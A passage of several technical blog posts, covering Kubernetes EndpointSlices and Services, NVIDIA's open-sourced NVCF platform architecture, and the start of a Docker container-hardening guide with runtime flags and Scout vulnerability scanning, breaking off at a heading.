$ kubectl set image deployment nginx nginx=nginx:1.27
$ kubectl get endpointslices -l kubernetes.io/service-name=nginx --watch
```

You see endpoints transition through every state we covered. Pods go `Terminating = true`. New pods land `Serving = true` once readiness passes. Slices update. kube-proxy reprograms on every change.

Total reprogramming time across the rolling update? **A few seconds, distributed across nodes.** The Service IP never changes. Traffic keeps flowing. End users see nothing.

## Wrap

So that is the EndpointSlice. The bridge between a Service definition and the kernel rules that route real traffic.

One controller writes them. kube-proxy and CoreDNS watch them. Capped at 100 by default. Conditions for graceful shutdown. Topology hints for zone-aware routing. The placeholder pattern so downstream watchers always have something to bind to.

It's what makes Kubernetes Services scale to thousands of pods without falling over. Most people use Services every day and never think about the slices underneath. That's the point — the abstraction works.

---

# NVCF Is Now Open Source: Inside NVIDIA's GPU Function Platform

- Canonical: https://blog.kubesimplify.com/nvcf-is-now-open-source-inside-nvidia-s-gpu-function-platform
- Published: 2026-05-11

NVIDIA just open-sourced the full NVCF platform under Apache 2.0. Not a thin SDK, not a client library. The actual control plane, invocation plane, compute plane, CLIs, Helm charts, and database migrations, all in one monorepo at [github.com/nvidia/nvcf](https://github.com/nvidia/nvcf).

NVCF powers infrastructure behind services like `build.nvidia.com` and NVIDIA-hosted inference workflows across GPU cloud providers and DGX Cloud environments.. Now you can run the whole thing yourself and read every line that makes it work.

Let’s break down how the platform actually works.

* * *

## What NVCF Actually Is

NVCF stands for NVIDIA Cloud Functions. The original managed service let you register a Docker container or Helm chart, specify a GPU type, and NVIDIA handled everything: routing, queueing, autoscaling, multi-tenant isolation. GPU cloud partners like CoreWeave ran the NVIDIA Cluster Agent on their Kubernetes clusters so their GPUs could serve functions while NVIDIA owned the control plane.

The April 2026 Apache 2.0 release publishes that control plane. The previous repos (`NVIDIA/nvidia-cloud-functions`, `NVIDIA/nvcf-go`) are now archived. This monorepo is the one place everything lives.

One honest caveat: the control plane images are currently distributed via NVIDIA's NGC registry under the `nvcf-onprem` org. You need NGC access to deploy the full stack today. The source code is all Apache 2.0 and inspectable, but the deployable bundle still goes through NGC while [issue #12](https://github.com/NVIDIA/nvcf/issues/12) (full OSS build) is open. I opened [issue #14](https://github.com/NVIDIA/nvcf/issues/14) asking for a community contributor path.

* * *

## Three-Plane Architecture

The entire platform is built around three independently scalable planes connected through NATS JetStream.

![NVCF Three-Plane Architecture](https://raw.githubusercontent.com/saiyam1814/blogkit/main/covers/nvcf-01-architecture.png align="center")

**Control Plane** runs on a dedicated Kubernetes cluster and owns function lifecycle, autoscaling decisions, and secrets management. Key services:

*   `function-autoscaler` (Rust): runs a 30-second scaling loop, reads utilization from VictoriaMetrics, writes decisions to Cassandra, calls the NVCF API to set desired instance counts
    
*   `helm-reval` (Go): validates OCI-referenced Helm charts before the compute plane deploys them
    
*   OpenBao (Apache 2.0 Vault fork): all function secrets encrypted at rest, injected at runtime via the ess-agent sidecar
    
*   Cassandra: persistent state and distributed locks for the autoscaler
    

**Invocation Plane** sits between every caller and every GPU worker. Nothing bypasses it:

*   `http-invocation` (Rust / Axum): receives HTTP/gRPC requests, publishes to NATS JetStream, handles async polling
    
*   `llm-gateway` (Go): OpenAI-compatible API with token-aware rate limiting via embedded Olric cache
    
*   `grpc-proxy` (Go): forwards gRPC calls to function instances
    
*   `ratelimiter` (Go): per-function rate limiting using Olric distributed cache
    
*   `nats-auth-callout` (Go): NATS authentication with NKey, OIDC, and webhook strategies
    

**Compute Plane** is one NVCA (NVIDIA Cluster Agent) operator per GPU cluster. NVCA registers the cluster with the control plane, consumes NATS messages, and manages pod lifecycle.

* * *

## How a Single Request Flows

![Request Lifecycle](https://raw.githubusercontent.com/saiyam1814/blogkit/main/covers/nvcf-02-request-flow.png align="center")

Every invocation follows this path verified from the source code:

1.  Caller posts to `POST /v2/nvcf/pexec/functions/{id}`
    
2.  `http-invocation` checks rate via `ratelimiter` gRPC
    
3.  Request published to NATS stream: `Create.NVCA.*.{clusterID}.*.*` (from `nvca/pkg/queue/nats/client.go`)
    
4.  NVCA queue manager consumes the message
    
5.  `ICMSRequest` Kubernetes CR created (deduplication by NATS sequence)
    
6.  MiniService controller reconciles: creates Pod or applies Helm chart
    
7.  Function pod connects back via `WorkerService` gRPC: `ConnectOnce`
    
8.  Response returns to the caller
    
9.  On completion: `Terminate.NVCA.{clusterID}` triggers pod deletion and GC
    

* * *

## Scale-to-Zero: The NATS Buffer Approach

This is the most important architectural decision in the whole codebase, and it is fundamentally different from how Knative handles scale-to-zero.

With Knative, requests can experience timeout or retry pressure during long scale-up events, especially for GPU workloads with heavy cold starts. That model works well for lightweight stateless HTTP services that initialize quickly. GPU inference workloads are different. Loading large models into VRAM can take tens of seconds or even minutes, making durable request buffering much more important.

NVCF uses NATS JetStream as a durable request buffer:

1.  Autoscaler drives desired instance count to 0. No pods running.
    
2.  New request arrives. Published to NATS JetStream. Stream persists it durably.
    
3.  Autoscaler detects queue depth > 0. Sets desired instances to 1+.
    
4.  NVCA receives creation message, launches pod.
    
5.  Pod connects via WorkerService gRPC, pulls the buffered message.
    
6.  Response returns through the still-open `http-invocation` connection.
    

The request is never dropped. The caller waits longer on a cold start, but the request completes. This is only possible because the queue buffers it.

|  | NATS JetStream | Knative |
| --- | --- | --- |
| Requests during scale-up | Buffered, zero dropped | Fail / timeout |
| Cold start behavior | Queue buffers, pod starts | Requests may face timeout or retry pressure during long cold starts |
| Multi-cluster routing | Per-cluster durable consumers | Single cluster only |
| Operational footprint | Purpose-built GPU inference platform | Requires full Knative stack |

* * *

## Multi-Cluster by Design

Each GPU cluster runs its own NVCA. NATS JetStream subjects are scoped per cluster:

```plaintext
Creation:     Create.NVCA.*.{clusterID}.*.*
Termination:  Terminate.NVCA.{clusterID}
Consumer:     {streamName}-{clusterID}  (durable, per cluster)
```

A single control plane can manage GPU clusters across on-prem H100s, cloud H200s, GB200 NVLink nodes, and cloud provider partners simultaneously. The invocation plane routes based on the function deployment specification.

* * *

## Setting Up Locally (What Works Without NGC Access)

You can bootstrap the cluster and fake GPU layer without NGC credentials. The NVCF services deployment is what requires the `nvcf-onprem` org access.

```bash
# Clone the repo
git clone https://github.com/nvidia/nvcf
cd nvcf/examples/self-hosted-local-development

# Bootstrap k3d cluster (6 nodes) + KWOK + fake GPU operator
# This works fully without NGC
./setup.sh

# Verify fake H100 nodes are registered
kubectl get nodes -l run.ai/simulated-gpu-node-pool=default
# NAME               STATUS   ROLES    GPU
# k3d-nvcf-agent-3   Ready    <none>   8x NVIDIA-H100-80GB-HBM3
# k3d-nvcf-agent-4   Ready    <none>   8x NVIDIA-H100-80GB-HBM3

# Deploy NVCF stack (requires NGC nvcf-onprem access)
helm registry login nvcr.io -u '$oauthtoken' -p "${NGC_API_KEY}"
HELMFILE_ENV=local helmfile sync
```

The fake GPU operator from [run-ai/fake-gpu-operator](https://github.com/run-ai/fake-gpu-operator) adds `nvidia.com/gpu` extended resources to real Kubernetes nodes. Pods schedule and run. CUDA calls fail since there is no real GPU, but all NVCF orchestration, NATS dispatch, and scale-to-zero logic works exactly as in production.

* * *

## How NVCF Compares

| Category | NVCF | KubeRay | KServe | Knative Serving |
| --- | --- | --- | --- | --- |
| Primary workload | Long-running GPU inference | Ray/Python distributed workloads | Multi-framework ML serving | Stateless HTTP services |
| Scale-to-zero | Durable NATS buffering | Ray autoscaling | Typically relies on Knative-style autoscaling | Request buffering with timeout/retry pressure during long cold starts |
| Multi-cluster | Built-in | Primarily single cluster | Primarily single cluster | No native multi-cluster orchestration |
| Function abstraction | Helm function type | No native function abstraction | No native function abstraction | No native function abstraction |
| GPU orchestration | KAI Scheduler + DRA integration | Standard Kubernetes scheduling | Standard Kubernetes scheduling | Standard Kubernetes scheduling |

KubeRay and NVCF are not competitors. You should be able to run Ray Serve under KubeRay as a NVCF function.

* * *

## What the Open Source Release Actually Changes

**Inspectability.** Enterprises can now validate NVIDIA’s architectural decisions directly from the source code instead of treating the platform as a black box.

**Customization.** You can modify the autoscaler Rust loop, add NATS auth strategies, extend the MiniService controller, or build new CLI commands. Earlier, these internals were largely inaccessible outside NVIDIA-managed environments.

* * *

## Links

*   Repo: [github.com/nvidia/nvcf](https://github.com/nvidia/nvcf)
    
*   Docs: [docs.nvidia.com/nvcf/overview](https://docs.nvidia.com/nvcf/overview)
    
*   My PR: [NVIDIA/nvcf#13](https://github.com/NVIDIA/nvcf/pull/13)
    
*   NGC access issue: [NVIDIA/nvcf#14](https://github.com/NVIDIA/nvcf/issues/14)
    
*   Contribute / contact team: nvcf-interest@nvidia.com

---

# How a Kubernetes Service Actually Works (and All 5 Types You Need)

- Canonical: https://blog.kubesimplify.com/how-a-kubernetes-service-actually-works-and-all-5-types-you-need
- Published: 2026-05-05

A pod gets created. It gets an IP. Then it dies. A new pod replaces it. New IP. Now imagine you have ten pods of the same app, and they restart all the time. **Which IP do you call?**

You can't. That's the problem Services solve, and the answer is more interesting than "Kubernetes assigns a stable IP."

This post walks the full picture in five parts: why Services have to exist, what happens when you create one, what happens when traffic actually calls one, all five Service types (most posts stop at three), and a real cluster demo at the bottom. Every claim is verified against `kubernetes/kubernetes` 1.36 source.

%[https://youtu.be/uP4Gc08qeXM]

## TL;DR

1. **Why Services exist.** Pods are ephemeral; their IPs change on every restart and reschedule. A Service is a stable identity for an unstable set of pods.
2. **Creation flow.** `kubectl expose` → API server allocates a ClusterIP from `--service-cluster-ip-range` (since 1.33, backed by `IPAddress` objects, GA) → EndpointSlice controller fills the slice with matching pod IPs → kube-proxy on every node programs iptables → CoreDNS adds the name. Sub-second end to end.
3. **Request flow.** `curl my-service` → CoreDNS returns ClusterIP → packet hits `KUBE-SERVICES` → matches `KUBE-SVC-XXX` → `--mode random` picks one rule → `KUBE-SEP-YYY` does DNAT to a pod IP → kernel routes to the backend → conntrack rewrites the source IP back to ClusterIP on the reply.
4. **Five Service types.** ClusterIP (internal), NodePort (every-node port, dev/test), LoadBalancer (cloud-provided external LB for prod), ExternalName (DNS CNAME alias for managed services), Headless (`clusterIP: None`, DNS returns pod IPs directly — for StatefulSets).
5. **The dataplane is the kernel.** Three controllers cooperate to write iptables rules, but the actual packet forwarding is pure Linux netfilter. The Service object is metadata; the kernel does the work.

## Part 1: Why Services exist

The Kubernetes pod model is deliberately ephemeral. Pods get rescheduled, restarted, scaled up and down. **Pod IPs change every time**. There is no permanent address.

This is by design. Kubernetes treats pods as cattle, not pets. The system is at its best when no individual pod is precious and the whole workload can be reshuffled across the cluster. But applications need to talk to each other, and applications need a stable target.

A Service is the answer. It is a stable identity for an unstable set of pods. You give it a label selector (`app: nginx`). Any pod that matches the selector becomes a backend. The Service exposes one virtual IP, called the ClusterIP. Pods come and go. The ClusterIP stays.

Without this abstraction, you would be writing service discovery code from scratch in every application, forever. Every microservice architecture in Kubernetes depends on this idea. It is so fundamental that it is easy to miss how clever it is.

## Part 2: What happens when you create a Service

One command:

```bash
$ kubectl expose deployment nginx --port=80
service/nginx exposed
```

Behind that one line, an entire pipeline of controllers wakes up.

### Step 1: The API server allocates a ClusterIP

The API server receives the create request, runs admission, runs validation. Then it allocates a ClusterIP from the configured `--service-cluster-ip-range` (typically `10.96.0.0/12`).

Since Kubernetes 1.33, the IP allocator is backed by first-class `IPAddress` and `ServiceCIDR` objects. You can run:

```bash
$ kubectl get ipaddresses
NAME           PARENTREF
10.96.255.20   services/default/my-service
```

This used to be a bitmap stored in etcd. Now it's a clean API. The Service object gets the allocated IP stamped onto `spec.clusterIP`, the write goes to etcd via Raft, and the Service exists. **At this point, no pod is connected to it yet.** The Service is just metadata.

### Step 2: The EndpointSlice controller fills the slice

The EndpointSlice controller runs inside `kube-controller-manager`. It has two informers: one watches Services, one watches Pods. When a new Service appears, the controller scans every pod in the namespace. For each pod that matches the selector AND is `Ready`, it builds a slice entry: pod IP, pod node, ports, conditions.

The output is one or more `EndpointSlice` objects, capped at 100 endpoints each. A Service with three pods has one slice. A Service with three thousand pods has thirty.

Each slice has an `ownerReference` to the Service (so deletion cascades) and labels:

- `kubernetes.io/service-name: my-service`
- `endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io`

That's how kube-proxy knows which Service a slice belongs to.

> Side note worth knowing: the legacy `Endpoints` API was officially deprecated in 1.33 (KEP-4974). It still works for older controllers, but `EndpointSlices` are the source of truth now.

### Step 3: kube-proxy on every node reprograms

There is a kube-proxy pod on every node, deployed as a DaemonSet in nearly every installer. It has Service and EndpointSlice informers. When a slice changes, kube-proxy diffs the new state against the kernel's current rules, then batches the changes into a single `iptables-restore` call. The whole rule set is replaced as one transaction.

Three nodes, three independent reprograms, all in parallel. Total time on a normal cluster: milliseconds.

### Step 4: What gets programmed

The actual rules look like this (real captured output from a kind 1.35.1 cluster, slightly trimmed):

```
-A KUBE-SERVICES -d 10.96.255.20/32 -p tcp --dport 80 -j KUBE-SVC-FXIYY
-A KUBE-SVC-FXIYY -m statistic --mode random --probability 0.333 -j KUBE-SEP-1
-A KUBE-SVC-FXIYY -m statistic --mode random --probability 0.500 -j KUBE-SEP-2
-A KUBE-SVC-FXIYY -j KUBE-SEP-3
-A KUBE-SEP-1 -j DNAT --to-destination 10.244.1.42:80
-A KUBE-SEP-2 -j DNAT --to-destination 10.244.2.18:80
-A KUBE-SEP-3 -j DNAT --to-destination 10.244.3.07:80
```

`KUBE-SERVICES` is the entry chain. Every Service port has a match rule that jumps to a per-Service chain, named `KUBE-SVC-` plus a hash of the service name. That chain has one rule per backend, with a `--mode random --probability 1/n` declining pattern. Each backend rule jumps to a per-endpoint `KUBE-SEP-` chain that does the actual DNAT.

iptables is the default mode. nftables (GA in 1.33) uses `verdict maps` for sub-microsecond hash lookup instead of the linear scan; recommended for modern Linux clusters. IPVS mode was deprecated in 1.35 and is now legacy.

### Step 5: CoreDNS adds the name

There's a Service called `kube-dns` in the `kube-system` namespace, backed by CoreDNS pods. Every pod's `/etc/resolv.conf` has the kube-dns ClusterIP as its nameserver. CoreDNS has a `kubernetes` plugin that watches Services. When `my-service` appears, CoreDNS now resolves `my-service.default.svc.cluster.local` to the ClusterIP.

Three controllers cooperated, plus DNS, and the Service is live. Total time from `kubectl expose` to first traffic flowing: under a second.

## Part 3: What happens when traffic calls a Service

`kubectl exec` into a busybox pod, run `curl my-service`. Two seconds later: `<title>Welcome to nginx!</title>`. Now slow that down to seven steps.

### Step 1: DNS resolution

The pod sees `curl my-service`, but `my-service` is not a real hostname. The pod's resolver consults its search list (`default.svc.cluster.local`, `svc.cluster.local`, `cluster.local`). It tries `my-service.default.svc.cluster.local` first. The query goes to CoreDNS, which has the kubernetes plugin watching Services, and returns the ClusterIP.

### Step 2: TCP packet to ClusterIP

The pod opens a TCP connection. SYN packet, destination ClusterIP, port 80. The packet leaves the pod's `veth` pair, enters the host's network namespace. PREROUTING.

### Step 3: KUBE-SERVICES matches

The packet hits the `KUBE-SERVICES` chain. Every Service port has a match rule here. The rule says: destination is `10.96.255.20`, port `80`? Jump to `KUBE-SVC-FXIYY`. Now the packet is inside the per-Service chain.

### Step 4: --mode random picks one

`KUBE-SVC-FXIYY` has one rule per backend, with the declining-probability pattern:

- Rule 1 fires with `probability 1/3` → `KUBE-SEP-1`
- Rule 2 fires with `probability 1/2` of what's left → `KUBE-SEP-2`
- Rule 3 is the unconditional fallthrough → `KUBE-SEP-3`

The math works out: each backend gets exactly one third of the traffic. iptables `-m statistic --mode random` is the underlying mechanism.

### Step 5: DNAT rewrites the destination

The chosen rule jumps to `KUBE-SEP-2`. That chain has one rule:

```
-j DNAT --to-destination 10.244.2.18:80
```

The kernel rewrites the destination of the packet from ClusterIP to the actual pod IP. The packet is no longer for the virtual address. It is now headed at a real pod, on a real node.

### Step 6: Backend receives

The packet routes to the backend pod's node, traverses the CNI bridge or overlay, arrives at the backend. The pod sees a normal TCP packet to its own IP, port 80. It sends back a SYN-ACK. **The backend has no idea it was reached via a Service abstraction.**

### Step 7: Reply rewriting via conntrack

The reply traffic is where the trick happens. Source IP is the backend pod. Destination is the original sender. But the Linux conntrack table remembers the DNAT we did on the way in. So when the reply comes back through the host, conntrack rewrites the source IP from the backend pod, back to the ClusterIP.

The original sender pod sees the response coming from the ClusterIP, exactly the address it sent the packet to. Connection works. End to end. **The pod has no idea this dance happened.**

## Part 4: All five Service types (with real use cases)

Most "Service types" content stops at three. There are five, and each one solves a different problem.

### 1. ClusterIP

The default. Virtual IP, internal only. This is what we just walked through.

**Use case:** application-to-application traffic inside the cluster. Frontend talks to backend. Microservice A calls microservice B. Both inside the cluster. By far the most common type.

### 2. NodePort

NodePort opens the same port on every node in the cluster, in the range `30000–32767`. Traffic to any node on that port gets forwarded to the ClusterIP, and from there to a pod.

**Use case:** local development clusters like kind or minikube, where you don't have a cloud load balancer to provision. NodePort is also a building block — `LoadBalancer` Services use it under the hood.

### 3. LoadBalancer

This is what you use in production for public-facing apps. When you create a `LoadBalancer` Service on EKS, GKE, or AKS, the cloud provider integration provisions a real external load balancer and points it at the NodePort on each node. You get a public IP. Real users hit it.

**Use case:** production-facing web apps. The browser-to-cluster ingress path.

### 4. ExternalName

This is the type most people skip. `ExternalName` has no ClusterIP, no selector, no pods. It's a DNS CNAME alias inside the cluster.

```yaml
apiVersion: v1
kind: Service
metadata:
  name: my-database
spec:
  type: ExternalName
  externalName: prod-db.us-east-1.rds.amazonaws.com
```

Now any pod can `curl my-database`, and the cluster DNS returns the AWS hostname.

**Use case:** pointing in-cluster names at managed external services. Your apps look up `my-database`, the underlying address is a managed Postgres in RDS, and you can swap the target without changing application code. Same pattern works for managed Redis, S3-compatible stores, anything external.

### 5. Headless

```yaml
apiVersion: v1
kind: Service
metadata:
  name: cassandra-svc
spec:
  clusterIP: None       # ← the magic
  selector:
    app: cassandra
```

There is no virtual IP, no kube-proxy involvement, no DNAT. Instead, DNS returns the IPs of all backend pods directly. With a StatefulSet, each pod also gets a stable DNS name like `cassandra-0.cassandra-svc.default`.

**Use case:** StatefulSets. Each pod gets a stable DNS name for peer discovery in distributed systems (Cassandra nodes finding each other, Kafka brokers, etcd peers). Custom client-side load balancing where the client wants to choose the backend itself, not have iptables choose. Anything that needs to talk to specific pods, not a load-balanced abstraction.

### The summary

| Type | Use case |
|---|---|
| ClusterIP | Inside the cluster |
| NodePort | Dev clusters, building block |
| LoadBalancer | Public production traffic |
| ExternalName | Alias managed services |
| Headless | Stateful workloads |

Most teams over-use `LoadBalancer` when `ClusterIP` plus an Ingress would do. Pick the right one for the job.

## Part 5: Live demo

To make all of this concrete, we ran the create-and-call flow on a real cluster (kind 1.35.1, three workers). What follows are verbatim outputs.

```
$ kubectl get nodes
NAME                         STATUS   ROLES           AGE   VERSION
service-demo-control-plane   Ready    control-plane   24s   v1.35.1
service-demo-worker          Ready    <none>          14s   v1.35.1
service-demo-worker2         Ready    <none>          14s   v1.35.1
service-demo-worker3         Ready    <none>          14s   v1.35.1
```

Apply an nginx Deployment with three replicas, then a Service:

```
$ kubectl apply -f nginx-deploy.yaml
deployment.apps/nginx created

$ kubectl get pods -o wide
NAME                    READY   STATUS    RESTARTS   AGE   IP           NODE
nginx-fd956d49d-49779   1/1     Running   0          12s   10.244.2.2   service-demo-worker2
nginx-fd956d49d-5pbsm   1/1     Running   0          12s   10.244.1.2   service-demo-worker
nginx-fd956d49d-g94jr   1/1     Running   0          12s   10.244.3.2   service-demo-worker3

$ kubectl apply -f my-service.yaml
service/my-service created

$ kubectl get svc my-service
NAME         TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)   AGE
my-service   ClusterIP   10.96.255.20   <none>        80/TCP    2s
```

The Service has no IPs in its spec — only the selector:

```
$ kubectl get svc my-service -o yaml | grep -A 8 spec:
spec:
  clusterIP: 10.96.255.20
  internalTrafficPolicy: Cluster
  ipFamilies:
  - IPv4
  ipFamilyPolicy: SingleStack
  ports:
  - port: 80
  selector:
    app: nginx
```

The 1.33+ `IPAddress` object shows it as a first-class allocation:

```
$ kubectl get ipaddresses
NAME           PARENTREF
10.96.255.20   services/default/my-service
```

The EndpointSlice has the real backend IPs:

```
$ kubectl get endpointslices -l kubernetes.io/service-name=my-service
NAME               ADDRESSTYPE   PORTS   ENDPOINTS                            AGE
my-service-x29k9   IPv4          80      10.244.1.2,10.244.2.2,10.244.3.2     8s
```

And the iptables rules on a worker show the chain we described:

```
$ docker exec service-demo-worker iptables-save | grep my-service
-A KUBE-SERVICES -d 10.96.255.20/32 -p tcp -m tcp --dport 80 -j KUBE-SVC-FXIYY6OHUSNBITIX
-A KUBE-SVC-FXIYY6OHUSNBITIX -m statistic --mode random --probability 0.33333333349 -j KUBE-SEP-4B2TTHBRUYTSCT32
-A KUBE-SVC-FXIYY6OHUSNBITIX -m statistic --mode random --probability 0.50000000000 -j KUBE-SEP-FAW7RO5CDYGWP4Y3
-A KUBE-SVC-FXIYY6OHUSNBITIX -j KUBE-SEP-4UWZBYSYCGDXTWU5
-A KUBE-SEP-4B2TTHBRUYTSCT32 -j DNAT --to-destination 10.244.1.2:80
-A KUBE-SEP-FAW7RO5CDYGWP4Y3 -j DNAT --to-destination 10.244.2.2:80
-A KUBE-SEP-4UWZBYSYCGDXTWU5 -j DNAT --to-destination 10.244.3.2:80
```

Real ClusterIP. Real chain hash. Real probabilities. Real pod IPs. The math (`0.33333`, `0.50000`, fallthrough) is exactly what we derived earlier.

Now `curl` from inside the cluster:

```
$ kubectl run curl --rm -i --restart=Never --image=busybox:1.36 -- wget -q -O - http://my-service
<!DOCTYPE html>
<html>
<head><title>Welcome to nginx!</title></head>
...
```

Welcome to nginx. The pod knew nothing about iptables, KUBE-SVC chains, DNAT, or conntrack. It just curled `my-service` and got a response.

Scale up to ten replicas, watch everything reprogram in real time:

```
$ kubectl scale deploy/nginx --replicas=10
deployment.apps/nginx scaled

$ kubectl get endpointslices -l kubernetes.io/service-name=my-service
NAME               ADDRESSTYPE   PORTS   ENDPOINTS                                      AGE
my-service-x29k9   IPv4          80      10.244.1.2,10.244.2.2,10.244.3.2 + 7 more...   1m42s

$ docker exec service-demo-worker iptables-save | grep -c 'KUBE-SVC-FXIYY.*statistic'
9
```

Three rules became nine. (Tenth backend is the unconditional fallthrough, no `--probability` on it.) From `kubectl scale` to all kube-proxies reprogrammed: about 200 milliseconds.

## Three takeaways

1. **The Service object is metadata. The dataplane is the kernel.** Nothing in the Service object knows about pod IPs. The kernel's iptables (or nftables) rules carry that mapping. When you understand this, you stop thinking of Services as magic and start thinking of them as cleverly placed netfilter rules.

2. **EndpointSlice is the bridge.** When a Pod becomes Ready, the EndpointSlice controller writes its IP. kube-proxy reads. The kernel obeys. Three controllers, no shared state, all eventually consistent — and reprogramming completes in milliseconds even on big clusters.

3. **Use the right Service type for the job.** ClusterIP for internal traffic. NodePort for dev clusters. LoadBalancer for public production. ExternalName to alias external services. Headless for StatefulSets. Most teams over-use LoadBalancer when ClusterIP-plus-Ingress would have been the right choice.

## Where to go from here

The full video walks the 5-part flow in 10 minutes with animated visuals for each step. Link at the top of this post.

Sources for every claim in this post:

- `pkg/registry/core/service/storage/alloc.go` — ClusterIP allocator
- `pkg/controller/endpointslice/` — EndpointSlice controller
- `pkg/proxy/iptables/proxier.go` — kube-proxy iptables rules
- `pkg/proxy/nftables/` — nftables backend (GA 1.33)
- KEP-1880 — MultiCIDRServiceAllocator (ServiceCIDR objects)
- KEP-3866 — kube-proxy nftables backend
- KEP-4974 — Endpoints API deprecation
- The terminal output above is verbatim from a real Kubernetes 1.35.1 kind cluster, captured for this post.

---

# Day 7: Ship It - and What Comes Next

- Canonical: https://blog.kubesimplify.com/day-7-ship-it-and-what-comes-next
- Published: 2026-05-04
- Summary: Your container runs as root and has 18 CVEs. A Docker Captain's guide to hardening, Scout policies, DHI, Sandboxes, and what comes after Docker. 

> **7 Days of Docker (2026)** - The Finale. A Docker Captain's guide. Not your average tutorial.

Your container is probably not safe to ship.

I know that sounds harsh after six days of building. You have images, Dockerfiles, multi-stage builds, Compose stacks - real skills. But here is the uncomfortable truth: everything we built in Days 1 through 6 was optimized for *working*. Today we optimize for *not getting breached*.

This is the part of Docker that separates side projects from production systems. The part most tutorials skip entirely. The part I wish someone had drilled into me before I shipped my first container to a real cluster.

Let's fix every container you have ever built.

![](/img/blog/day-7-ship-it-and-what-comes-next/b686cc9f-bebb-4762-ac20-122a55867087.png align="center")

* * *

## Your Container Runs as Root. That's a Problem.

By default, every Docker container runs as root. Not "sort of root." Not "sandboxed root." Root. UID 0. The same identity that owns every file on a Linux system.

Why does this matter? Because container isolation is not perfect. Kernel exploits exist. Misconfigurations happen. If an attacker escapes a container running as root, they land on the host as root. Game over. Your entire machine - every other container, every secret, every volume - is theirs.

The fix is embarrassingly simple:

```bash
$ docker run --rm --user 1000:1000 alpine id
uid=1000 gid=1000 groups=1000
```

That is it. One flag. The process now runs as an unprivileged user. In production Dockerfiles, you bake this in permanently:

```dockerfile
FROM node:20-alpine
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
USER appuser
CMD ["node", "server.js"]
```

After `USER appuser`, every subsequent instruction and the runtime process itself run as that user. No root. No exceptions.

> **What Nobody Tells You:** "But my app needs to bind to port 80!" No, it does not. Bind to port 3000 or 8080 inside the container, then map it to whatever port you want on the host with `-p 80:3000`. Needing port 80 inside the container is not a reason to run as root - it is a sign your architecture needs rethinking.

* * *

## Read-Only Filesystem: If They Can't Write, They Can't Attack

A writable filesystem inside a container means an attacker can drop malware, modify binaries, or plant a reverse shell. A read-only filesystem shuts all of that down:

```bash
$ docker run --rm --read-only alpine sh -c "echo test > /file"
sh: can't create /file: Read-only file system
```

The write was blocked by the kernel. Nothing gets through. But your app probably needs to write *somewhere* - temp files, logs, PID files. The answer is `--tmpfs`, which mounts a writable in-memory filesystem at a specific path:

```bash
docker run --rm --read-only --tmpfs /tmp alpine sh -c "echo test > /tmp/file && echo 'OK'"
```

The root filesystem stays immutable. `/tmp` is writable but exists only in RAM and vanishes when the container stops. Attackers cannot persist anything.

* * *

## Resource Limits: Because Runaway Containers Kill Hosts

Without limits, a single container with a memory leak or a fork bomb can starve every other process on the machine - including your other containers. Docker uses Linux cgroups to enforce hard boundaries:

```bash
$ docker run --rm --memory=128m alpine cat /sys/fs/cgroup/memory.max
134217728
```

That is exactly 128 MB (128 x 1024 x 1024 = 134,217,728 bytes). If the process exceeds this, the kernel OOM-kills it. Not "warns it." Kills it. That is the correct behavior - a container that violates its resource contract should die, not drag down the host.

| Flag | What It Enforces |
| --- | --- |
| `--memory=128m` | Hard memory ceiling. OOM-kill on breach. |
| `--cpus=0.5` | CPU throttling. Container gets half a core. |
| `--pids-limit=50` | Max process count. Prevents fork bombs. |

* * *

## No New Privileges and Capability Dropping

Two more flags that should be on every production container:

`--security-opt=no-new-privileges` prevents any process inside the container from gaining additional privileges through setuid/setgid binaries. Even if an attacker finds a SUID binary, they cannot escalate.

`--cap-drop=ALL` strips every Linux capability. By default, Docker grants containers a broad set - enough to do things like change file ownership, bind to privileged ports, and manipulate network interfaces. Drop them all, then add back only what you need:

```bash
docker run --rm \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  --security-opt=no-new-privileges \
  myapp
```

This container can bind to privileged ports and nothing else. No changing file ownership. No raw network access. No kernel module loading. The attack surface shrinks dramatically.

### The Production Run Template

Putting it all together, here is what a hardened `docker run` looks like:

```bash
docker run -d --name myapp \
  --user 1000:1000 \
  --read-only \
  --tmpfs /tmp \
  --memory=128m \
  --cpus=0.5 \
  --pids-limit=50 \
  --cap-drop=ALL \
  --security-opt=no-new-privileges \
  --restart=unless-stopped \
  -p 8080:3000 \
  myapp:v1.2.3
```

Every flag is a security layer. Remove any one of them and you open a hole. This is defense in depth - the principle that no single control is enough, but *all of them together* make a breach extremely difficult.

![](/img/blog/day-7-ship-it-and-what-comes-next/3865e9da-2cc3-4386-bb23-162732004020.png align="center")

* * *

## Docker Scout as a CI Gate

Security hardening at runtime is half the battle. The other half is knowing what vulnerabilities are baked into your image *before* you ship it. Docker Scout scans your images for known CVEs and gives you a blunt summary:

```bash
$ docker scout quickview nginx:alpine
 Target             │  nginx:alpine            │    0C     2H     10M     2L     1?
   digest           │  7f7dcd27f920            │
 Base image         │  nginx:1-alpine-slim     │    0C     0H     1M     0L
 Updated base image │  nginx:1.30-alpine-slim  │    0C     0H     1M     0L
```

![](/img/blog/day-7-ship-it-and-what-comes-next/0d2b31b8-9cb8-43d4-8545-25340ef3afaa.png align="center")

Read that output. A freshly-pulled `nginx:alpine` - patched days ago - still has **2 high and 10 medium vulnerabilities**. That is before you add a single line of your own code. Now imagine an image you haven't updated in 3 months. Or 6. The numbers explode.

The image you pick matters more than most of the code you write on top of it.

In CI/CD, Scout becomes a gate. If the scan finds critical or high vulnerabilities, the pipeline fails and the image never reaches production:

```yaml
# GitHub Actions - scan before push
- name: Scan for vulnerabilities
  run: |
    docker scout cves myapp:${{ github.sha }} \
      --exit-code \
      --only-severity critical,high
```

The `--exit-code` flag makes Scout return a non-zero exit code when vulnerabilities are found. Your pipeline stops. No humans required.

* * *

## 2026's Supply Chain Wake-Up Call

In March 2026, attackers compromised Aqua Security's CI/CD pipeline and pushed backdoored Trivy scanner images to Docker Hub. The tool meant to FIND vulnerabilities became the attack vector. Thousands of CI/CD pipelines had secrets stolen.

Then in April 2026, it happened again. Attackers used stolen Checkmarx publisher credentials to push malicious images to `checkmarx/kics` on Docker Hub. Docker caught and quarantined it, but the pattern was clear: a stolen credential, a push through the normal publishing flow, and the attacker is inside the supply chain of every organization that pulls that tag.

This is not hypothetical. This is happening now. And it changes how you should think about every `docker pull` and every `FROM` line in your Dockerfiles.

* * *

## Docker Hardened Images: Fewer CVEs by Default

